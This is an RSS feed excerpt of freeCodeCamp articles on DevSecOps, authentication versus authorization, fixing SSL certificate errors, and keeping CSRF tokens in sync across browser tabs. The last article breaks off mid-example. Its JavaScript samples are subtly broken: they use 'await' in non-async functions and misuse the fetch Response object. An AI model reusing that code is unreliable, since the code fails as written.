<p>The top cloud service providers notably advertise their compliance with various security accreditations or standards such as the NIST 800-53, PCI 3.2, and GDPR. But the benefits of compliance are diluted or almost entirely eroded because workload and data process management is usually relegated to customers (organizations). </p>
<p>Since most organizations have visibility and tracking difficulties, poor attack surface management capabilities, and the lack of granular privilege management, the security compliance of cloud providers do not necessarily benefit their customers.</p>
<h3 id="heading-the-rise-of-devops">The rise of DevOps</h3>
<p>Many organizations have shifted to DevOps as they seek to shorten the lifecycle of systems development and promote rapid and continuous app delivery. </p>
<p>This can impact cloud security, though, especially when there are security-related changes implemented post workload deployment.</p>
<h2 id="heading-how-devsecops-can-help">How DevSecOps Can Help</h2>
<p>As I explained above, it is not only the expansion of attack surfaces and security management complexities that come with cloud adoption that make cloud security more challenging. The increased adoption of DevOps practices also adds to the problem. This is where DevSecOps comes into play.</p>
<p>DevSecOps adds the crucial security component to DevOps and guides developers to embrace “security by design.” </p>
<p>It is a step-up from the previous shift-and-adopt strategy used in incremental cloud re-platforming. It involves an integrated team of multi-skilled specialists in the field of cloud and cybersecurity working together under a common operating paradigm. </p>
<p>Teams can establish a center of excellence (usually helmed by the organization's digital transformation point person) to take charge of the coordination of the cloud and cybersecurity specialists working together in the new development operating model.</p>
<p>DevSecOps ensures that flexible and agile practices do not disregard security, allowing development processes to proceed at the same pace an organization wants its business to move. </p>
<p>Teams can achieve this with an emphasis on shared responsibilities. Organizations nurture collaboration, cross-skilling, and cross-teaming to attain better outcomes. </p>
<p><a target="_blank" href="https://devops.com/devsecops-rethinking-and-reengineering-cloud-security/">Diana Kearns-Manolatos</a>, Senior Manager in Deloitte’s Center for Integrated Research, characterizes DevSecOps as “more than moving existing security processes earlier into the development process.” </p>
<p>DevSecOps entails the rethinking and rearchitecting of the way app design processes work. "It is about elevating, embedding, and evolving (your) organization’s risk response," Kearns-Manolatos adds.</p>
<p>To answer the question "What is DevSecOps’ role in cloud security?", teams need to incorporate security into the efficiency, rapidness, and continuousness thrust of DevOps. </p>
<p>Simply put, it is about quickly rolling out apps or software products that are already secure to help better manage the expansion of cyber attack surfaces.</p>
<p>Instead of having another team (the security team) undertake rigorous app security review, the apps can be deployed immediately. Tweaks and patching will still be needed eventually, but they will no longer be as exhausting as compared to deploying apps developed conventionally.</p>
<h2 id="heading-devsecops-in-practice-not-easy-but-very-doable">DevSecOps in Practice – Not Easy but Very Doable</h2>
<p>Embracing DevSecOps to achieve the quick, secure, and efficient rollout of applications or software products is not going to be a walk in the park. But it is not overly tricky to be restrictively achievable. </p>
<p>Organizations will face the need for process innovation and they'll need to rethink their cloud security and development operations.</p>
<p>One crucial factor in successfully adopting DevSecOps practices to improve development outcomes (especially in terms of security) is communication. </p>
<p>Teams need to properly communicate with each other to ascertain that everyone is on the same page during the development process. Real-time knowledge sharing is important and it may also be necessary to integrate <a target="_blank" href="https://www.techtarget.com/searchitoperations/definition/ChatOps">ChatOps</a>, automation, as well as artificial intelligence in the process. </p>
<h2 id="heading-final-thoughts">Final Thoughts</h2>
<p>DevSecOps and cloud security may appear unrelated or remotely connected concepts. But the former does have an impact on the latter. </p>
<p>DevSecOps will not address all cloud security issues or threats. But it can make DevOps-driven apps used on the cloud or in hybrid environments less vulnerable, and can limit means for threat actors to penetrate cyber defenses.</p>
<p>If you want to learn more about DevSecOps in depth, <a target="_blank" href="https://www.freecodecamp.org/news/what-is-devsecops/">check out this free article and course from freeCodeCamp</a>.</p>
<p><em>Image via Murrstock / Adobe Stock</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Authentication vs Authorization – What's the Difference? ]]>
                </title>
                <description>
                    <![CDATA[ When you're starting out in web development, you'll likely hear the terms authentication and authorization all the time. And it doesn't help that they're both usually abbreviated 'auth', so it's very easy to get the two confused. In this article, you... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/whats-the-difference-between-authentication-and-authorisation/</link>
                <guid isPermaLink="false">66bb88a53e3fa59ecfecb852</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ authentication ]]>
                    </category>
                
                    <category>
                        <![CDATA[ authorization ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Grant Riordan ]]>
                </dc:creator>
                <pubDate>Thu, 29 Sep 2022 17:45:49 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/09/Background1.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>When you're starting out in web development, you'll likely hear the terms authentication and authorization all the time. And it doesn't help that they're both usually abbreviated 'auth', so it's very easy to get the two confused.</p>
<p>In this article, you will learn:</p>
<ul>
<li>The differences between authentication and authorization</li>
<li>How each of these processes work</li>
<li>Examples of authorization and authentication in everyday life.</li>
</ul>
<p>‌‌‌‌Ok, let's get started.</p>
<h2 id="heading-what-is-authentication">What is Authentication?</h2>
<p>Authentication is the the process of <strong>verifying</strong> the credentials a user provides with those stored in a system to <strong>prove</strong> the user is who they say they are. If the credentials match, then you grant access. If not, you deny it.</p>
<h3 id="heading-methods-of-authentication">Methods of Authentication</h3>
<h4 id="heading-single-factor-authentication">Single Factor authentication:</h4>
<p>This is often used as the authentication process for lower risk systems. You only need a single factor to authenticate, with the most common being a password, so it's more vulnerable to phishing attacks and key loggers. </p>
<p>In addition to this, a recent <a target="_blank" href="https://dataprot.net/statistics/password-statistics/">article</a> by DataProt showed that  78% of Gen-Z people utilize the same password for multiple services. This means that if an attacker gained access to one user account, they have a high probability of gaining access to others by simply using the same password.</p>
<h4 id="heading-2-factor-authentication">2-Factor Authentication:</h4>
<p>This method is more secure, as it comprises two factors of authentication – typically something you know, for example username and password , plus something you have / own, for example a phone SMS or a security token. </p>
<p>For 2-factor authentication, you would enter a one-time SMS password sent to your device, or perhaps a linked authenticator app code and provide an ever-changing access code.</p>
<p>As you can imagine, this is a lot more secure than simply entering a password, or a single authentication credential. You would need to know the login credentials, as well as have access to the physical device for the second part.</p>
<p>2-factor authentication has become very common amongst online services in recent years, and with many large companies it is the default authentication method. Many require that you setup 2-factor auth in order to even utilize the service.</p>
<h4 id="heading-multi-factor-authentication">Multi-Factor Authentication:</h4>
<p>Going one step further to make your authentication process even more secure is having 3 or more factors. This form of authentication usually works on the premise of:</p>
<ul>
<li>something you know (username + password or a username + security question and answer)</li>
<li>something you have (mobile phone sms, authenticator app, USB key)</li>
<li>something you are (like a fingerprint / face recognition)</li>
</ul>
<p>For these reasons, multi-factor authentication offers the most protection, as you would need to compromise multiple factors, and these factors are a lot more difficult to "hack" or replicate.   </p>
<p>The downside to this method of authentication, and the reason it's not utilized in many average systems, is it can be cumbersome to setup and maintain. So the data / system you're protecting really has to justify the need for such security.</p>
<h2 id="heading-so-how-much-information-do-you-need-to-authenticate">So, How Much Information Do You Need to Authenticate?</h2>
<p>This question comes up at many security architecture meetings, and the answer is "<em>it depends</em>".</p>
<p>It is not unusual for companies to combine various authentication methods to increase security based on the nature of application.</p>
<p>For example, take a banking app. It contains very sensitive information, and could have a huge financial and reputational impacts should it be obtained by the wrong person. The bank may combine personal questions to be answered, along with a customer number and complex password.</p>
<p>On the other hand, for a social media site, you might only require a username and password, which is then checked and verified before allowing access.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/09/Auth_Process-1.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>It's all about the level of risk involved and what information someone can access once they're in the application. This helps determine the level of authentication you need.</p>
<p>If you or your team underestimates the level of authentication your app needs, you could be prosecuted for not securing the data within your system adequately. So companies employee security specialists to advise on best practices and appropriate solutions.</p>
<h2 id="heading-how-does-authentication-work-in-the-real-world">How Does Authentication Work in the Real World?</h2>
<p>Let's take an example of a social media account. You choose your favorite social media site (which is hosted on a server). The server will ask you to provide credentials to access the site via a sign in page. Here you would type in your username and password that you used when creating the account.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/09/server-process-2.png" alt="Image" width="600" height="400" loading="lazy">
<em>Image showing the authentication process</em></p>
<p>These details are then sent to the server, and the authentication process begins. The details you provided are verified and checked in the server's database, and if they match the details on record you are authenticated. Then you're provided with a form of identification data, for example a cookie or Json Web Token (JWT token).</p>
<p>Success! You have accessed the site and are given entry.</p>
<p>You can learn more about JWT tokens in another FreeCodeCamp article by Beau Carnes <a target="_blank" href="https://www.freecodecamp.org/news/what-are-json-web-tokens-jwt-auth-tutorial/">here</a>.</p>
<p>Next, let's look at authorization.</p>
<h2 id="heading-what-is-authorization">What is Authorization?</h2>
<p>Authorization, is the process of verifying that you're <strong>allowed</strong> to access an area of an application or perform specific actions, based on certain criteria and conditions put in place by the application. You may also hear it called access control or privilege control.</p>
<p>Authorization can either grant or deny permission to carry out tasks, or access areas of an application.</p>
<p>Let's look at an example:</p>
<p>We've gained access to the social media site, but what we're allowed to do there depends on what we're authorized to to do.</p>
<p>If we try to access someone's profile that we're not friends with (they've not accepted our connection request), we're not <strong>authorized</strong> to view their profile. This means that we are denied permission to view their shared posts.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/09/auth-process2-1.png" alt="Basic Authorisation Process" width="600" height="400" loading="lazy">
<em>Image of authorization flow</em></p>
<h3 id="heading-how-to-implement-authorization">How to Implement Authorization</h3>
<p>There are many ways you can implement authorization depending on the frameworks you are using.</p>
<p>Within the .NET framework, for example, you could use role-based access control, or claims-based access control.</p>
<p>Role-based access control is centered around the ideology that each user within your system is assigned a role. These roles have predefined permissions associated with them. Being granted a role means that user will automatically inherit all these permissions. The roles are assigned at time of user creation and setup.</p>
<p>The endpoint or site simply then checks if the current logged-in user has the role of Admin when attempting to access the admin area.</p>
<p>The downside to this approach is that sometimes users are granted too many permissions that they don't need or shouldn't have.</p>
<p>For example, giving a user the role of <code>Admin</code> may mean they would have been given<code>Advanced Create</code>, <code>Edit</code>, <code>Delete</code>, and <code>View</code> user privileges. Whereas, you may want to only give them <code>View</code> and <code>Basic Create</code> permissions.</p>
<p>Claims-based access control can allow for finer tuning of a specific user's permissions. The application can either check that the claim simply exists on a user, or whether a particular value is assigned to the claim.</p>
<p>As an example, a claim called <code>CreateUser</code> could be given to a user, and this is checked when creating a user. Or you could assign a value of <code>Advanced</code> to the same claim, and then have different actions and user interface available depending whether the value was <code>Advanced</code> or <code>Basic</code>.</p>
<h2 id="heading-whats-the-difference-between-authentication-and-authorization">What's the Difference between Authentication and Authorization?</h2>
<p>So now that we have a better understanding of the terms, let's look at a scenario you may be familiar with that involves both processes.</p>
<p>At a dinner party with an exclusive guest list, each guest is given a nickname and a secret password.</p>
<p>Upon arrival, a security guard asks you for your nickname and secret password. They then <strong>authenticate</strong> your credentials against the list they have. If your credentials match, you are handed an envelope showing you've been allowed in.</p>
<p>Once inside you are allowed to access the party and public areas of the venue as these require no <strong>authorization</strong> _(_everyone has the permission to enjoy the party). However, you then want to visit the VIP area.</p>
<p>As you approach, another security personnel asks to open your envelope (your permissions and roles). They take a look but unfortunately you do not have the VIP role, and therefore are not <strong>authorized</strong> to access.‌‌‌‌Put as simply as possible, authentication verifies the identity of a user or service allowing access, whereas authorization determines what they can do once they're in.</p>
<h2 id="heading-why-should-you-implement-both-authentication-and-authorization">Why Should You Implement Both Authentication and Authorization?</h2>
<p>As you can see, although authentication and authorization are very different, each plays an integral part in the security and integrity of the application or system.</p>
<p>These processes go hand in hand, and without one the other is kind of meaningless. If you can gain access to the Admin area, but do whatever you want once in there, it could lead to big problems.</p>
<p>On the other hand, you can't authorize individuals without knowing who they are! Which is why authentication always comes before authorization.</p>
<h2 id="heading-closing-thoughts">Closing Thoughts</h2>
<p>I hope this has been insightful and you now have a clearer understanding of the differences between Authorization and Authentication, and how to use them.</p>
<p>Remember:</p>
<ul>
<li>Authenticate =  Verifies the identity of a user or process.</li>
<li>Authorize = Determines if the user / system has permission to use a resource or carry out an action.</li>
</ul>
<p>Feel free to get in touch via Twitter if you wish to discuss this article in more detail <a target="_blank" href="http://twitter.com/gweaths">@gweaths</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ An SSL Error Has Occurred – How to Fix Certificate Verification Error ]]>
                </title>
                <description>
                    <![CDATA[ If you’re surfing the net and an SSL error occurs on a website you're trying to visit, your browser will warn you by showing you an error messages or signal. This error is mostly caused by an expired or bad SSL certificate. It also occurs when the br... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/an-ssl-error-has-occurred-how-to-fix-certificate-verification-error/</link>
                <guid isPermaLink="false">66adf0727550d4f37c201997</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ SSL ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Windows ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Kolade Chris ]]>
                </dc:creator>
                <pubDate>Wed, 06 Jul 2022 17:51:46 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/07/ssl.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you’re surfing the net and an SSL error occurs on a website you're trying to visit, your browser will warn you by showing you an error messages or signal.</p>
<p>This error is mostly caused by an expired or bad SSL certificate. It also occurs when the browser can’t verify the legitimacy of a website’s SSL certificate.</p>
<p>That error message could be a giant one like this:
<img src="https://www.freecodecamp.org/news/content/images/2022/07/Annotation-2022-07-06-111823.png" alt="Annotation-2022-07-06-111823" width="600" height="400" loading="lazy"></p>
<p>The browser could also show you a signal in the address bar like this: 
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss1-1.png" alt="ss1-1" width="600" height="400" loading="lazy"></p>
<p>In this article, I will show you what an SSL certificate is. I will also show you how to fix SSL errors as a site owner and as a user.</p>
<h2 id="heading-what-well-cover">What We'll Cover</h2>
<ul>
<li><a class="post-section-overview" href="#heading-what-is-ssl-and-why-is-it-used">What is SSL and Why is it Used?</a></li>
<li><a class="post-section-overview" href="#heading-how-to-fix-ssl-error-as-a-site-owner">How to Fix SSL Error as a Site Owner</a><ul>
<li><a class="post-section-overview" href="#heading-purchase-an-ssl-certificate">Purchase an SSL Certificate</a></li>
<li><a class="post-section-overview" href="#heading-make-sure-you-turn-on-ssl-on-your-website">Make sure you Turn on SSL on your Website</a></li>
<li><a class="post-section-overview" href="#heading-if-your-website-is-hosted-on-github-pages">If your website is hosted on Github pages…</a></li>
<li><a class="post-section-overview" href="#heading-if-your-website-is-hosted-on-netlify">If your website is hosted on Netlify…</a></li>
<li><a class="post-section-overview" href="#heading-if-your-website-is-a-wordpress-website">If your website is a WordPress website…</a></li>
<li><a class="post-section-overview" href="#heading-contact-your-hosting-provider">Contact your Hosting Provider</a></li>
</ul>
</li>
<li><a class="post-section-overview" href="#heading-how-to-fix-ssl-error-as-a-user">How to Fix SSL Error as a User</a><ul>
<li><a class="post-section-overview" href="#heading-make-sure-your-date-and-time-are-correct">Make Sure your Date and Time are Correct </a></li>
<li><a class="post-section-overview" href="#heading-clear-saved-ssls-on-your-computer">Clear Saved SSLs on your Computer</a></li>
<li><a class="post-section-overview" href="#heading-clear-your-browsers-cache-and-cookies">Clear your Browser’s Cache and Cookies</a></li>
</ul>
</li>
<li><a class="post-section-overview" href="#heading-final-thoughts">Final Thoughts</a><h2 id="heading-what-is-ssl-and-why-is-it-used">What is SSL and Why is it Used?</h2>
</li>
</ul>
<p>SSL stands for secure socket layer. It is the international standard security technology for keeping the sharing of information safe between a website and its users.</p>
<p>In the Chrome browser, when a website has a valid SSL, a locked padlock is shown in the address bar – indicating that any information the user shares with that website is encrypted.
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss2-1.png" alt="ss2-1" width="600" height="400" loading="lazy"></p>
<h2 id="heading-how-to-fix-ssl-error-as-a-site-owner">How to Fix SSL Error as a Site Owner</h2>
<p>If you are a site owner and your users are complaining that your website shows SSL errors, you can fix the issue with any of the methods explained below:</p>
<h3 id="heading-purchase-an-ssl-certificate">Purchase an SSL Certificate</h3>
<p>If your website doesn’t have an SSL certificate installed, any modern browser your user is using will alert them your site is not secure.</p>
<p>In this case, you should purchase an SSL certificate from any of the providers out there.</p>
<p>By the way, you can buy an SSL certificate from companies that sell domain names. You can also buy an SSL from <a target="_blank" href="https://sectigo.com/">Sectigo</a> or <a target="_blank" href="https://www.ssls.com/">SSLs</a>.</p>
<h3 id="heading-make-sure-you-turn-on-ssl-on-your-website">Make sure you Turn on SSL on your Website</h3>
<p>If you’ve purchased and installed an SSL but your website still shows SSL errors, it could happen because you unknowingly didn’t turn on SSL.</p>
<h3 id="heading-if-your-website-is-hosted-on-github-pages">If your website is hosted on Github pages…</h3>
<p><strong>Step 1</strong>: Navigate to your site repo and click Settings:
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss3-1.png" alt="ss3-1" width="600" height="400" loading="lazy"></p>
<p><strong>Step 2</strong>: Click on Pages on the left sidebar:
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss4-1.png" alt="ss4-1" width="600" height="400" loading="lazy"></p>
<p><strong>Step 3</strong>: Tick “Enforce HTTPS”:
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss5-1.png" alt="ss5-1" width="600" height="400" loading="lazy"></p>
<p>This is required for sites using GitHub’s default domain (example.github.io). </p>
<p>Even if you’re using a custom domain, make sure that box is ticked.</p>
<h3 id="heading-if-your-website-is-hosted-on-netlify">If your website is hosted on Netlify…</h3>
<p><strong>Step 1</strong>: Click on the site with an SSL error:
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss6-1.png" alt="ss6-1" width="600" height="400" loading="lazy"></p>
<p><strong>Step 2</strong>: Click on “Site Settings”:
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss7-1.png" alt="ss7-1" width="600" height="400" loading="lazy"></p>
<p><strong>Step 3</strong>: Click “Domain Management”, and then HTTPS on the left sidebar. Make sure there’s the message “Your site has HTTPS enabled”.
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss8-1.png" alt="ss8-1" width="600" height="400" loading="lazy"></p>
<h3 id="heading-if-your-website-is-a-wordpress-website">If your website is a WordPress website…</h3>
<p>If you have a WordPress website with an SSL error, install the <a target="_blank" href="https://wordpress.org/plugins/wp-force-ssl/">Force SSL plugin</a> on your website
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss9-1.png" alt="ss9-1" width="600" height="400" loading="lazy"></p>
<h3 id="heading-contact-your-hosting-provider">Contact your Hosting Provider</h3>
<p>If every method discussed above fails to work for you, then you should contact the customer service of your hosting provider.</p>
<h2 id="heading-how-to-fix-ssl-error-as-a-user">How to Fix SSL Error as a User</h2>
<p>If you visit a website and you’re getting any SSL-related errors, there are some things you can do as a user. That’s because the problem is not always caused by the website – as long as an SSL certificate is installed on the website.</p>
<h3 id="heading-make-sure-your-date-and-time-are-correct">Make Sure your Date and Time are Correct</h3>
<p>If your computer’s date and time are ahead or behind, the browser might show an SSL-related error. </p>
<p>This is because SSLs have expiration dates. So, when your computer’s date and time are behind or ahead, the check your browser runs to see if the SSL certificate of that website is valid will fail.  </p>
<p>In this case, the browser will suggest that you change your date and time.</p>
<h3 id="heading-clear-saved-ssls-on-your-computer">Clear Saved SSLs on your Computer</h3>
<p>Clearing the SSL certificates stored by your computer can fix the issue for you. </p>
<p>When next you visit that website with the SSL error, your browser will run another check to revalidate the SSL installed on that website.</p>
<p>To clear the SSLs, hit the Windows button on your keyboard, search for “Internet Options” and click the Internet Options search result:
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss13.png" alt="ss13" width="600" height="400" loading="lazy"></p>
<p>Switch to the content tab and click “Clear SSL state”:
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss14.png" alt="ss14" width="600" height="400" loading="lazy"></p>
<h3 id="heading-clear-your-browsers-cache-and-cookies">Clear your Browser’s Cache and Cookies</h3>
<p>The SSL info of a website in your browser’s cache and cookies might have expired, so if you clear both records, it could fix the issue for you.</p>
<p>To clear Chrome’s cache and cookies, click the 3 vertical dots on the top-right corner and select Settings:
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss10.png" alt="ss10" width="600" height="400" loading="lazy"></p>
<p>Switch to the Privacy and Security tab on the left sidebar and select “Clear browsing data”:
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss11.png" alt="ss11" width="600" height="400" loading="lazy"></p>
<p>Select Cache and Cookies, then click “Clear data”:
<img src="https://www.freecodecamp.org/news/content/images/2022/07/ss12.png" alt="ss12" width="600" height="400" loading="lazy"></p>
<p>If you’re using another browser that is not Chrome, clear the browser’s cache and cookies.</p>
<h2 id="heading-final-thoughts">Final Thoughts</h2>
<p>As a web administrator or owner, it's very important to make sure SSL is installed and properly working on your website. Otherwise, it might not just affect your website alone, but also your business.</p>
<p>If you’re a user, too, make sure any website you’re visiting shows the padlock icon on the address bar. If that’s not the case, make sure you don’t share sensitive information like card details and passwords with the website.</p>
<p>Thank you for reading.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ CSRF Protection Problem and How to Fix it ]]>
                </title>
                <description>
                    <![CDATA[ One day I was working on a feature at work. I had many branches created in JIRA tickets, so I wanted to open a bunch of PRs (Pull Requests) all at once in different tabs.  This is how I usually work – I have a lot of tabs open ]]>
                </description>
                <link>https://www.freecodecamp.org/news/csrf-protection-problem-and-how-to-fix-it/</link>
                <guid isPermaLink="false">66ba5ab88f51e6d52724bdf3</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Jakub T. Jankiewicz ]]>
                </dc:creator>
                <pubDate>Mon, 28 Mar 2022 18:39:45 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/03/laptop-security-virus-protection-internet-malware-1588329-pxhere.com.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>One day I was working on a feature at work. I had many branches created in JIRA tickets, so I wanted to open a bunch of PRs (Pull Requests) all at once in different tabs. </p>
<p>This is how I usually work – I have a lot of tabs open and this speeds things up, because I don't need to wait for the next page to load. </p>
<p>But after I'd created the first PR in BitBucket and tried to go on to the next page, I was welcomed with an error message about an invalid CSRF token. This is a common problem with web applications that have CSRF protection.</p>
<p>So in this article you'll learn what CSRF is and how to fix this error.</p>
<p></p><h2 id="heading-table-of-contents">Table of contents:</h2><p></p>
<ul>
    <li><a href="#what-is-csrf">What is CSRF?</a></li>
      <li><a href="#standard-csrf-protection">Standard CSRF protection</a></li>
    <li><a href="#the-problem-with-tokens">The Problem with Tokens</a></li>
    <li><a href="#cross-tab-communication-solution">Cross-tab Communication Solution</a>
        <ul>
              <li><a href="#sysend-library">Sysend library</a></li>

              <li><a href="#broadcast-channel">Broadcast Channel</a></li>
        </ul>
    </li>
      <li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="heading-what-is-csrf">What is CSRF?</h2>
<p>CSRF is an acronym for <strong>Cross-Site Request Forgery</strong>. It is a vector of attack that attackers commonly use to get into your system. </p>
<p>The way you usually protect against CSRF is to send a unique token generated by each HTTP request. If the token that is on the server doesn't match with the one from the request, you show an error to the user.</p>
<h2 id="heading-standard-csrf-protection">Standard CSRF protection</h2>
<p>This is one way you can protect against CSRF with a token:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> inital_token = <span class="hljs-string">'...'</span>;

<span class="hljs-keyword">const</span> secure_fetch = (<span class="hljs-function"><span class="hljs-params">token</span> =&gt;</span> {
    <span class="hljs-keyword">const</span> CSRF_HEADER = <span class="hljs-string">'X-CSRF-TOKEN'</span>;
    <span class="hljs-keyword">return</span> <span class="hljs-function">(<span class="hljs-params">url</span>) =&gt;</span> {
        <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> fetch(url, {
            <span class="hljs-attr">method</span>: <span class="hljs-string">'POST'</span>,
            <span class="hljs-attr">headers</span>: {
              [CSRF_HEADER]: token
            }
        });
        response.then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> {
           token = res.headers[CSRF_HEADER]
        });
        <span class="hljs-keyword">return</span> response;
    };
})(inital_token);
</code></pre>
<p>This code uses the <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">fetch API</a> to send and receive a secure token in <a target="_blank" href="https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol">HTTP</a> headers. On the backed, you should generate the first initial token when the page loads. On the server, on each <a target="_blank" href="https://en.wikipedia.org/wiki/Ajax_(programming)">AJAX</a> request, you should check to see if the token is valid.</p>
<h2 id="heading-the-problem-with-tokens">The Problem with Tokens</h2>
<p>This works fine unless you have more than one tab open. Each tab can send requests to the server, which will break this solution. And power users may not be able to use your application the way they want.</p>
<p>But there is a simple solution to this problem which is cross-tab communication.</p>
<h2 id="heading-cross-tab-communication-solution">Cross-tab Communication Solution</h2>
<h3 id="heading-sysend-library">Sysend library</h3>
<p>You can use the <a target="_blank" href="https://github.com/jcubic/sysend.js">Sysend library</a>, an open source solution that I've created specifically for this purpose. It simplifies cross-tabs communication. </p>
<p>If you want, you can use a native browser API like <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/BroadcastChannel">Broadcast Channel</a> to do the same. More on how to do that later in this article. </p>
<p>But the <strong>Sysend</strong> library will work for browsers that don't support Broadcast Channel. It also works in IE (it has some bugs, which is not a surprise). You may also need to support some old mobile browsers. It also has a much simpler API.</p>
<p>This is the simplest example:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">let</span> token;
sysend.on(<span class="hljs-string">'token'</span>, <span class="hljs-function"><span class="hljs-params">new_token</span> =&gt;</span> {
    token = new_token;
});

<span class="hljs-comment">// ...</span>

sysend.broadcast(<span class="hljs-string">'token'</span>, token);
</code></pre>
<p>And this is how you would use this library to fix CSRF protection:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> inital_token = <span class="hljs-string">'...'</span>;

<span class="hljs-keyword">const</span> secure_fetch = (<span class="hljs-function"><span class="hljs-params">token</span> =&gt;</span> {
    <span class="hljs-keyword">const</span> CSRF_HEADER = <span class="hljs-string">'X-CSRF-TOKEN'</span>;
    <span class="hljs-keyword">const</span> EVENT_NAME = <span class="hljs-string">'csrf'</span>;
    sysend.on(EVENT_NAME, <span class="hljs-function"><span class="hljs-params">new_token</span> =&gt;</span> {
        <span class="hljs-comment">// get new toke from different tab</span>
        token = new_token;
    });
    <span class="hljs-keyword">return</span> <span class="hljs-function">(<span class="hljs-params">url</span>) =&gt;</span> {
        <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> fetch(url, {
            <span class="hljs-attr">method</span>: <span class="hljs-string">'POST'</span>,
            <span class="hljs-attr">headers</span>: {
              [CSRF_HEADER]: token
            }
        });
        response.then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> {
           token = res.headers[CSRF_HEADER];
           <span class="hljs-comment">// send new toke to other tabs</span>
           sysend.broadcast(EVENT_NAME, token); 
        });
        <span class="hljs-keyword">return</span> response;
    };
})(inital_token);
</code></pre>
<p>All you have to do is to send and receive a single message from other tabs when sending the request. And your CSRF protected app will work on many tabs.</p>
<p>And that's it. This will let advanced users use your app that has CSRF protection when they want to open many tabs.</p>
<h3 id="heading-broadcast-channel">Broadcast Channel</h3>
<p>Here is the simplest possible example of using Broadcast Channel:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> channel = <span class="hljs-keyword">new</span> BroadcastChannel(<span class="hljs-string">'my-connection'</span>);
channel.addEventListener(<span class="hljs-string">'message'</span>, <span class="hljs-function">(<span class="hljs-params">e</span>) =&gt;</span> {
    <span class="hljs-built_in">console</span>.log(e.data); <span class="hljs-comment">// 'some message'</span>
});
channel.postMessage(<span class="hljs-string">'some message'</span>);
</code></pre>
<p>So with this simple API you can do the same thing that we did before:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> inital_token = <span class="hljs-string">'...'</span>;

<span class="hljs-keyword">const</span> secure_fetch = (<span class="hljs-function"><span class="hljs-params">token</span> =&gt;</span> {
    <span class="hljs-keyword">const</span> CSRF_HEADER = <span class="hljs-string">'X-CSRF-TOKEN'</span>;
    <span class="hljs-keyword">const</span> channel = <span class="hljs-keyword">new</span> BroadcastChannel(<span class="hljs-string">'csrf-protection'</span>);
    channel.addEventListener(<span class="hljs-string">'message'</span>, <span class="hljs-function">(<span class="hljs-params">e</span>) =&gt;</span> {
        <span class="hljs-comment">// get new toke from different tab</span>
        token = e.data;
    });
    <span class="hljs-keyword">return</span> <span class="hljs-function">(<span class="hljs-params">url</span>) =&gt;</span> {
        <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> fetch(url, {
            <span class="hljs-attr">method</span>: <span class="hljs-string">'POST'</span>,
            <span class="hljs-attr">headers</span>: {
              [CSRF_HEADER]: token
            }
        });
        response.then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> {
           token = res.headers[CSRF_HEADER];
           <span class="hljs-comment">// send new token to other tabs</span>
           channel.postMessage(token);
        });
        <span class="hljs-keyword">return</span> response;
    };
})(inital_token);
</code></pre>
<p>As you can see from the above example, Broadcast Channel doesn't have any namespace for events. So if you want to send more than one type of event you need to create types of events.</p>
<p>Here is an example of using Broadcast Channel to do more than the CSRF protection fix we've discussed so far. </p>
<p>You can synchronize login and logout for your application. If you login into one tab, your other tabs will also sign you in. In the same way, you can synchronize the shopping cart in some e-commerce websites.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> channel = <span class="hljs-keyword">new</span> BroadcastChannel(<span class="hljs-string">'my-connection'</span>);
